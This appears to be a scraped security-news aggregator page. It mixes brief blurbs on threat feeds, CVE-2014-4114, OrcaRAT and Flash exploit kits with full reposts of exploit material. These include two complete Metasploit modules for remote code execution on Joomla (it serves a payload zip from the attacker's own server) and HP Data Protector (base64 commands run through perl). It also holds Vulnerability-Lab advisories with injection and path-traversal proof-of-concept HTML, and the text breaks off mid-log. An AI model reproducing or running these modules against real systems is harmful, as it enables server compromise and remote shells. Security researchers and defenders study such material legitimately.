Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

Has your threat feed made you lazy

$
0
0
There has been a lot of conversation around threat feeds and how to automate the ingestion of ip’s and domains. A lot of work can go into taking these indicators, wrapping automation around it and feeding our detection tools, but I have to wonder if we have become somewhat lazy when it comes to detection. I almost think that some have become very reliant on this data and and see it as a best form of detection. I’ve already written a post on my thoughts around these feeds so I won’t go into much of that here. What I do want to talk about is the valuable data that some may not be taking advantage of.

more here..........http://blog.handlerdiaries.com/?p=703

Technical analysis of the SandWorm Vulnerability (CVE-2014-4114)

$
0
0
iSight Partners recently announced that they had discovered some new malware that was being used in a Russian cyber-espionage campaign. The vulnerability used in the campaign was CVE-2014-4114, which is a problem inside the OLE package manager in Microsoft Windows. (Microsoft released MS14-060 to address the problem.)  I had some time to look into the internals of the vulnerability and what I found is kind of interesting. First, it is not a memory corruption issue and second, the vulnerability executes binary files from a PowerPoint file with an embedded OLE component. Microsoft Office executables are usually huge binaries with a lot of different functionality, but it seems that some of this functionality might come at the cost of security.

more here..........http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Technical-analysis-of-the-SandWorm-Vulnerability-CVE-2014-4114/ba-p/6649758#.VEYCoPnF-So

OrcaRAT - A whale of a tale

$
0
0
It’s every malware analyst’s dream to be handed a sample which is, so far, unnamed by the AV community - especially when the malware in question may have links to a well-known APT group.

In my line of work I analyse several ‘unknown’ malware samples a week, but often it turns out that they are simply new variants of existing malware families. Recently I was fortunate enough to be handed something that not only had a low detection rate but, aside from heuristics, seemed to be relatively unknown to the top 40 anti-virus companies.

In this post I will walk you through the malware family we’ve dubbed “OrcaRAT”.


more here...........http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html

Metasploit: Joomla Akeeba Kickstart Unserialize Remote Code Execution

$
0
0
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
        3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
        component, which is responsible for Joomla! updates. Nevertheless it is worth to note
        that this vulnerability is only exploitable during the update of the Joomla! CMS.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Johannes Dahse',               # Vulnerability discovery
          'us3r777 <us3r777[at]n0b0.so>'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-7228' ],
          [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
          [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
          [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
        ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Privileged'     => false,
      'DisclosureDate' => "Sep 29 2014",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
        OptInt.new('HTTPDELAY',    [false, 'Seconds to wait before terminating web server', 5])
      ], self.class)
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
    )

    if res && res.code == 200
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def primer
    srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"

    php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
    php_filename = rand_text_alpha(8 + rand(8)) + '.php'

    # Create the zip archive
    print_status("Creating archive with file #{php_filename}")
    zip_file = Rex::Zip::Archive.new
    zip_file.add_file(php_filename, payload.encoded)
    @zip = zip_file.pack

    # First step: call restore to run _prepare() and get an initialized AKFactory
    print_status("#{peer} - Sending PHP serialized object...")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
      'vars_get'  => {
        'task'    => 'stepRestore',
        'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
      }
    })

    unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
      print_status("#{res.code}\n#{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Unexpected response")
    end

    # Second step: modify the currentPartNumber within the returned serialized AKFactory
    json = /###(.*)###/.match(res.body)[1]
    begin
      b64encoded_prepared_factory = JSON.parse(json)['factory']
    rescue JSON::ParserError
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
    end

    prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
    modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')

    print_status("#{peer} - Sending initialized and modified AKFactory...")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
      'vars_get'  => {
        'task'    => 'stepRestore',
        'factory' => Rex::Text.encode_base64(modified_factory)
      }
    })

    unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
      fail_with(Failure::Unknown, "#{peer} - Unexpected response")
    end

    register_files_for_cleanup(php_filename)

    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
    }, 2)

  end

  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, this is raised
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    if @zip && request.uri =~ /\.zip$/
      print_status("Sending the ZIP archive...")
      send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
      return
    end

    print_status("Sending not found...")
    send_not_found(cli)
  end

end



//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

Metasploit: HP Data Protector EXEC_INTEGUTIL Remote Code Execution

$
0
0
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
      'Description'     => %q{
        This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
        in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
        request allows to execute arbitrary commands from a restricted directory. Since it
        includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
        arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
        an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
        Data Protector for linux.  This module has been tested successfully on HP Data Protector
        9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
      },
      'Author'          =>
        [
          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
          'juan vazquez'                                # msf module
        ],
      'References'      =>
        [
          [ 'ZDI', '14-344']
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          # The powershell embedded payload takes some time to deploy
          'WfsDelay' => 20
        },
      'Targets'         =>
        [
          [ 'Linux 64 bits / HP Data Protector 9',
            {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd cmd_bash',
                  'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
                }
              }
            }
          ],
          [ 'Windows 64 bits / HP Data Protector 9',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'powershell'
                }
              }
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'Privileged'      => true,
      'DisclosureDate'  => 'Oct 2 2014'
    ))

    register_options(
      [
        Opt::RPORT(5555)
      ], self.class)
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      return Exploit::CheckCode::Unknown
    end

    if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
      version = $1
      vprint_status("#{peer} - Windows / HP Data Protector version #{version} found")
    elsif fingerprint =~ / INET/
      vprint_status("#{peer} - Linux / HP Data Protector found")
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end

    if Gem::Version.new(version) <= Gem::Version.new('9')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Detected # there is no patch at the time of module writing
  end

  def exploit
    rand_exec = rand_text_alpha(8)
    print_status("#{peer} - Leaking the HP Data Protector directory...")
    leak = leak_hp_directory(rand_exec)
    dir = parse_dir(leak, rand_exec)

    if dir.nil?
      dir = default_hp_dir
      print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}")
    else
      unless valid_target?(dir)
        print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...")
      end
    end

    if target.name =~ /Windows/
      #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
      print_status("#{peer} - Executing payload...")
      execute_windows(payload.encoded, dir)
    else
      print_status("#{peer} - Executing payload...")
      execute_linux(payload.encoded, dir)
    end
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def build_pkt(fields)
    data = "\xff\xfe" # BOM Unicode
    fields.each do |v|
      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
      data << Rex::Text.to_unicode(" ") # Separator
    end

    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
    return [data.length].pack("N") + data
  end

  def get_fingerprint
    fingerprint = get_fingerprint_windows
    if fingerprint.nil?
      fingerprint = get_fingerprint_linux
    end

    fingerprint
  end

  def get_fingerprint_linux
    connect

    sock.put([2].pack("N") + "\xff\xfe")
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    res
  end

  def get_fingerprint_windows
    connect

    sock.put(rand_text_alpha_upper(64))
    begin
    res = sock.get_once(4)
    rescue ::Errno::ECONNRESET, EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
  end

  def leak_hp_directory(rand_exec)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      rand_exec,
    ])

    sock.put(pkt)
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
    res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    if res =~ /No such file or directory/ # Linux signature
      return res
    else # deal as windows target
      return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
    end
  end

  def parse_dir(data, clue)
    if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/
      dir = $1
      print_good("#{peer} - HP Data Protector directory found on #{dir}")
    elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/
      dir = $1
      print_good("#{peer} - HP Data Protector directory found on #{dir}")
    else
      dir = nil
    end

    dir
  end

  def valid_target?(dir)
    if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/
      return true
    elsif target.name =~ /Linux/ && dir.start_with?('/')
      return true
    end

    false
  end

  def default_hp_dir
    if target.name =~ /Windows/
      dir = 'C:\\Program Files\\OmniBack\\'
    else # linux
      dir = '/opt/omni/lbin/'
    end

    dir
  end

  def execute_windows(cmd, hp_dir)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      "perl.exe",
      "-I#{hp_dir}lib\\perl",
      "-MMIME::Base64",
      "-e",
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end

  def execute_linux(cmd, hp_dir)
    connect
    pkt = build_pkt([
      '2', # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      '11', # Opcode EXEC_BAR
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "../bin/perl",
      rand_text_alpha(8),
      "-I#{hp_dir}lib/perl",
      '-MMIME::Base64',
      '-e',
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end
end



//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

CVE-2014-0569 (Flash Player) integrating Exploit Kit

$
0
0
My goal was to grab CVE-2014-0556 when i landed yesterday on Fiesta but according to  @TimoHirvonen it's CVE-2014-0569 fixed only 1 week ago that has been fired here.
I don't know if it appeared here...and if not, how can it land that fast in Exploit Kit (either El- has really skilled contacts or someone is maybe breaking some NDA for money somewhere).

more here.........http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html

China collecting Apple iCloud data; attack coincides with launch of new iPhone

$
0
0
After previous attacks on Github, Google, Yahoo and Microsoft, the Chinese authorities are now staging a man-in-the-middle (MITM) attack on Apple’s iCloud.

more here...........https://en.greatfire.org/blog/2014/oct/china-collecting-apple-icloud-data-attack-coincides-launch-new-iphone

FileBug v1.5.1 iOS - Path Traversal Web Vulnerability

$
0
0
Document Title:
===============
FileBug v1.5.1 iOS - Path Traversal Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1342


Release Date:
=============
2014-10-15


Vulnerability Laboratory ID (VL-ID):
====================================
1342


Common Vulnerability Scoring System:
====================================
5.1


Product & Service Introduction:
===============================
FileBug is a file manager and document viewer for iPhone and iPod touch. You can store and view your documents,
transferring them easily from Mac or PC, reading them anywhere and share with friends. FileBug is so easy to use.
It can catch documents from many source, computer, web sites, email attachments, Dropbox…etc. It provides high
quality view and excellent support for PDF. All files are saved to your device locally and them can be
protected through password.

(Copy of the Homepage: https://itunes.apple.com/de/app/filebug-file-manager-document/id574385365 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a directory traversal vulnerability in the FileBug v1.5.1 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-10-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Appxy
Product: FileBug - iOS Mobile Web Application (Wifi) 1.5.1 Professional Edition


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local directory traversal web vulnerability has been dsicovered in the official FileBug v1.5.1 iOS mobile application.
The security vulnerability allows a local attacker to unauthorized request local files and device system paths.

The issue is located in the filename to path/folder value validation of the wifi interface web-application. The vulnerability
allows a local attackers to inject via filename value in the app by a sync unauthorized local path requests to compromise the
local ios device. The vulnerability is only exploitable by a local app sync without user interaction. The attacker can include
in the app a file or a folder with the local path value to request. After the attacker opened the application context the service
executes the payload in the item dir list of the wifi interface.

The security risk of the local path traversal web vulnerability is estimated as medium with a cvss (common vulnerability scoring
system) count of 5.1. Exploitation of the directory traversal web vulnerability requires no privileged application user account
(passwd default blank) or user interaction. Successful exploitation of the vulnerability results in mobile application compromise
by unauthorized file/path access.

Request Method(s):
                                [+] Sync

Vulnerable Module(s):
                                [+] Add File
                                [+] Add Folder

Vulnerable Parameter(s):
                                [+] filename
                                [+] foldername

Affected Module(s):
                                [+] Files from FileBug - Wifi File Manager & Interface


Proof of Concept (PoC):
=======================
The local path traversal web vulnerability can be exploited by local attackers with low privileged application user account without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Files from FileBug - Wifi File Manager & Interface

<html><head><title>Files from FileBug</title><style>html {background-color:#eeeeee} body { background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif; font-size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600; padding:15px; } </style><script type="text/javascript"> function uploadCheck(){document.getElementById("submit").style.display='none';return true;}</script></head><body><h1>Files from FileBug</h1><bq>The following files are hosted live from the iPhone's Docs folder.</bq><p><a href="..">..</a><br />
<a href="BoxCoreDataStore.sqlite">BoxCoreDataStore.sqlite</a>           (    88.0 Kb, 2014-10-14 17:14:53 +0000)<br />
<a href="Documents/">Documents/</a>             (     0.1 Kb, 2014-10-14 17:14:54 +0000)<br />
<a href="Downloads/">Downloads/</a>             (     0.1 Kb, 2014-10-14 17:14:54 +0000)<br />
<a href="Files.sqlite">Files.sqlite</a>         (   140.0 Kb, 2014-10-14 18:03:36 +0000)<br />
<a href="Movies/">Movies/</a>           (     0.1 Kb, 2014-10-14 17:14:54 +0000)<br />
<a href="Photos/">Photos/</a>           (     0.1 Kb, 2014-10-14 17:14:54 +0000)<br />
<a href="SavedFiles/">SavedFiles/</a>           (     0.1 Kb, 2014-10-14 17:14:53 +0000)<br />
<a href="bkm337"><../../[DIRECTORY TRAVERSAL WEB VULNERABILITY!]>.txt</a>               (     0.0 Kb, 2014-10-14 18:01:31 +0000)<br />
<a href="tempToView/">tempToView/</a>           (     0.1 Kb, 2014-10-14 17:14:53 +0000)<br />
</p>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode of the filename and foldername after the sync during the add procedure.
Restrict the input of the filename and foldername to prevent the issue and restrict the path folder request to ensure.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the filename and foldername values by sync is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                        - admin@evolution-sec.com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com                            - magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

Files Document & PDF 2.0.2 iOS - Multiple Vulnerabilities

$
0
0
Document Title:
===============
Files Document & PDF 2.0.2 iOS - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1341


Release Date:
=============
2014-10-14


Vulnerability Laboratory ID (VL-ID):
====================================
1341


Common Vulnerability Scoring System:
====================================
8.7


Product & Service Introduction:
===============================
Store and view your documents, transferring them easily from any Mac or PC. High quality viewers, including support for PDF,
Office, iWork & images. Full integration with Box, Dropbox, Google Drive & OneDrive [Pro feature]. Play music; watch movies;
access your cloud storage or download from the internet.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/files-document-pdf-reader/id294150896 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Files Document & PDF Reader 2.0.2 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-10-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Olive Toast Software Ltd.
Product: Files Document & PDF Reader - iOS Mobile WebDav Application (Wifi) 2.0.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
1.1
A code execution web vulnerability has been discovered  in the official Files Document & PDF Reader 2.0.2 iOS mobile application.
The issue allows an attacker to compromise the application and connected device components by exploitation of system specific
code execution vulnerability in the webdisk interface.

The vulnerability is located in the MKCOL request of the `Ordner Erstellen` input module. The main web-dav index provides a function to add folder as
path through a regular input form form which is not correctly encoding the input. Own malicious context can be injected to the add folder function and
the results is the application-side execution of system specific malicious codes. The input field of the upload modules executes the input wrong encoded
via POST method request as filename value. Remote attackers are also able to execute own malicious codes by usage of a script code payload in combination
with the affected values. The execution of the code occurs in the main web-dav file dir web listing context. The attack vector is located on application-side
and the request method to attack the service is MKCOL.

The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.6
Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction.
Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise.


Vulnerable Method(s):
                                        [+] MKCOL

Vulnerable Module(s):
                                        [+] Ordner Erstellen (Folder Add)

Vulnerable Parameter(s):
                                        [+] ot_notification

Affected Module(s):
                                        [+] Web Dav - Interface Path Dir Listing




1.2
A local file include web vulnerability has been discovered  in the official Files Document & PDF Reader 2.0.2 iOS mobile application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` values of the `rename` input. Remote attackers are able to inject own files with malicious
`filename` values in the `Move` request to compromise the mobile web-application. The attacker is able to inject the local file include requests
by usage of the `wifi interface` in connection with the vulnerable create to add request. The local file/path include execution occcurs in the web
dav file dir listing.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different
local malicious attacks requests. The attack vector is on the application-side of the file wifi mobile app.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation
of the local file include web vulnerability results in mobile application or connected device component compromise.

Vulnerable Method(s):
                                [+] [Created]

Vulnerable Module(s):
                                [+] Rename

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Web Dav - Interface File Dir Listing



1.3
A local command/path injection web vulnerability has been discovered in the official Files Document & PDF Reader 2.0.2 iOS mobile application.
The remote web vulnerability allows to inject local commands via vulnerable system values to compromise the apple iOS mobile web-application.

The vulnerability is located in the in the device name value of the web dav index header context module. Local attackers are able to inject own
script codes by changing the local iOS devicename to malicious context with special chars. The execute of the injected script code occurs with
persistent attack vector in the header section of the wifi web-interface.

The security risk of the command/path inject vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 5.2.
Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execute of system specific commands or unauthorized path requests.

Request Method(s):
                                [+] [GET]

Vulnerable Parameter(s):
                                [+] devicename

Affected Module(s):
                                [+] Web Dav - Web Interface Wifi [Application Header Context]


Proof of Concept (PoC):
=======================
1.1
The local command inject web vulnerability can be exploited by local attackers with physcial device access by low privileged accounts and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Web Dav Server - Interface Index

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=UTF-8"/>
<title>Files - bkm337"><[LOCAL COMMAND INJECT VULNERABILITY VIA DEVICE NAME VALUE!]></title>
<link rel="stylesheet" href="234C930E-2662-4104-B498-0AF172314DAF" type="text/css" media="screen" charset="UTF-8"/>
<script
type="text/javascript" src="F59FEFFF-9F87-4906-8F48-5CF14F3E3422"></script>
<!--[if lte IE 7]>
<style type="text/css">body{min-width:700px} #ot_files_title{line-height:80%} .ot_actions button{padding:0px; margin-left:0px}</style>
<![endif]-->
</head>
<body>
<div>
  <h2 id="ot_files_title" class="link" onclick="window.open('http://www.olivetoast.com')">WebDAV Server<br/>
    <span>© Olive Toast Software Ltd.</span>
  </h2>
</div>
<h1 class="text-center ot_root_title">Files - bkm337"><[LOCAL COMMAND INJECT VULNERABILITY VIA DEVICE NAME VALUE!]></h1>
<div class="text-center">
  <!-- Using table layout because display:inline-block (with divs) isn't supported by ie6/7 -->
  <table
class="ot_root_table">
    <tr>
      <td id="ot_documents" class="ot_rootfolder">
        <a href="/Documents/">
          <img src="E9936039-D58C-4D9B-94C6-0A0DF86DA628" alt="Documents Folder"/>
          <p class="ot_rootfolder_caption">Dokumente</p>
        </a>
      </td>
      <td id="ot_public" class="ot_rootfolder">
        <a href="/Public/">
          <img src="98301160-7F1E-401C-9FE9-022A78CA3990" alt="Public Folder"/>
          <p class="ot_rootfolder_caption">Öffentlich</p>
        </a>
      </td>
    </tr>
  </table>
</div>
<div class="hr"></div>
<div class="footer">
  <span id="ot_footer_text">WebDAV Server</span><br/>
  <span class="link" onclick="window.open
('http://www.olivetoast.com')">© Olive Toast Software Ltd.</span>
</div>
</body>
</html>



1.2
The code execution vulnerability can be exploited by remote attackers without privileged application user account and also without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: ot_notification name > Ordner Erstellen

<div id="ot_actions_top" class="ot_actions">
<!-- MSIE6 doesn't support 'name' on non-input/button tags -->
<span class="ot_select">Auswählen: </span><span class="menu ot_select_all">Alle</span> <b>|</b> <span class="menu ot_select_none">Keine</span>
<button style="padding: 0px;" name="ot_delete_button" class="ot_group_start">Löschen</button>
<button style="padding: 0px;" name="ot_rename_button" class="ot_group_start">Umbenennen</button>
<button style="padding: 0px;" name="ot_move_button">Verschieben</button><ul class="popup_menu" name="ot_move_menu"></ul>
<button style="padding: 0px;" name="ot_copy_button">Kopieren nach</button><ul class="popup_menu" name="ot_copy_menu"></ul>
<button style="padding: 0px;" name="ot_jump_button" class="ot_group_start">Springen</button><ul class="popup_menu" name="ot_jump_menu"></ul>
<button style="padding: 0px;" name="ot_createfolder_button" class="ot_group_start">Ordner erstellen</button>
<span disabled="false" class="ot_refresh_list menu ot_group_start">Neu laden</span></div>
<div class="hr"></div>
<div class="ot_notification_container">
<span style="visibility: visible;" id="ot_notification_top"
class="ot_notification">Erstellen von '"><[PERSISTENT INJECTED SCRIPT CODE VIA FOLDERNAME!]">' fehlgeschlagen</iframe></span>
</div><h2 id="ot_content_title"><a href="/">Files</a>/<a href="/Documents/">Documents</a></h2>


--- PoC Session Logs [MKCOL] ---

Status: 200[OK]
MKCOL http://localhost:8080/Documents/%22%3E%3C-[CODE EXECUTION VULNERABILITY VIA FOLDERNAME VALUE!]; Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost/Documents/]
      Content-Length[0]
      Content-Type[text/plain; charset=UTF-8]
      Cookie[otsessionid=; otsessionid=]

Status: 200[OK]
MKCOL http://localhost:8080/Documents/-[CODE EXECUTION VULNERABILITY VIA FOLDERNAME VALUE!]; Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[localhost]
